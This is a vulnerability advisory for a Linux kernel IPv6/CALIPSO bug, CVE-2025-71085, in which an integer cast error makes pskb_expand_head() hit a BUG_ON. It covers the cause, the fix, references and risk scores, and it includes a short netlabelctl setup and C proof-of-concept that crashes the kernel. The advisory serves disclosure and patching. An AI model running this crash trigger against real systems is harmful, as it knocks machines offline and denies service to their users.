CVE-2025-71085

high

Description

In the Linux kernel, the following vulnerability has been resolved: ipv6: BUG() in pskb_expand_head() as part of calipso_skbuff_setattr() There exists a kernel oops caused by a BUG_ON(nhead < 0) at net/core/skbuff.c:2232 in pskb_expand_head(). This bug is triggered as part of the calipso_skbuff_setattr() routine when skb_cow() is passed headroom > INT_MAX (i.e. (int)(skb_headroom(skb) + len_delta) < 0). The root cause of the bug is due to an implicit integer cast in __skb_cow(). The check (headroom > skb_headroom(skb)) is meant to ensure that delta = headroom - skb_headroom(skb) is never negative, otherwise we will trigger a BUG_ON in pskb_expand_head(). However, if headroom > INT_MAX and delta <= -NET_SKB_PAD, the check passes, delta becomes negative, and pskb_expand_head() is passed a negative value for nhead. Fix the trigger condition in calipso_skbuff_setattr(). Avoid passing "negative" headroom sizes to skb_cow() within calipso_skbuff_setattr() by only using skb_cow() to grow headroom. PoC: Using `netlabelctl` tool: netlabelctl map del default netlabelctl calipso add pass doi:7 netlabelctl map add default address:0::1/128 protocol:calipso,7 Then run the following PoC: int fd = socket(AF_INET6, SOCK_DGRAM, IPPROTO_UDP); // setup msghdr int cmsg_size = 2; int cmsg_len = 0x60; struct msghdr msg; struct sockaddr_in6 dest_addr; struct cmsghdr * cmsg = (struct cmsghdr *) calloc(1, sizeof(struct cmsghdr) + cmsg_len); msg.msg_name = &dest_addr; msg.msg_namelen = sizeof(dest_addr); msg.msg_iov = NULL; msg.msg_iovlen = 0; msg.msg_control = cmsg; msg.msg_controllen = cmsg_len; msg.msg_flags = 0; // setup sockaddr dest_addr.sin6_family = AF_INET6; dest_addr.sin6_port = htons(31337); dest_addr.sin6_flowinfo = htonl(31337); dest_addr.sin6_addr = in6addr_loopback; dest_addr.sin6_scope_id = 31337; // setup cmsghdr cmsg->cmsg_len = cmsg_len; cmsg->cmsg_level = IPPROTO_IPV6; cmsg->cmsg_type = IPV6_HOPOPTS; char * hop_hdr = (char *)cmsg + sizeof(struct cmsghdr); hop_hdr[1] = 0x9; //set hop size - (0x9 + 1) * 8 = 80 sendmsg(fd, &msg, 0);

References

https://git.kernel.org/stable/c/c53aa6a5086f03f19564096ee084a202a8c738c0

https://git.kernel.org/stable/c/bf3709738d8a8cc6fa275773170c5c29511a0b24

https://git.kernel.org/stable/c/73744ad5696dce0e0f43872aba8de6a83d6ad570

https://git.kernel.org/stable/c/58fc7342b529803d3c221101102fe913df7adb83

https://git.kernel.org/stable/c/2bb759062efa188ea5d07242a43e5aa5464bbae1

Details

Source: Mitre, NVD

Published: 2026-01-13

Updated: 2026-01-14

Risk Information

CVSS v2

Base Score: 6.6

Vector: CVSS2#AV:L/AC:L/Au:N/C:N/I:C/A:C

Severity: Medium

CVSS v3

Base Score: 7.1

Vector: CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H

Severity: High

EPSS

EPSS: 0.00018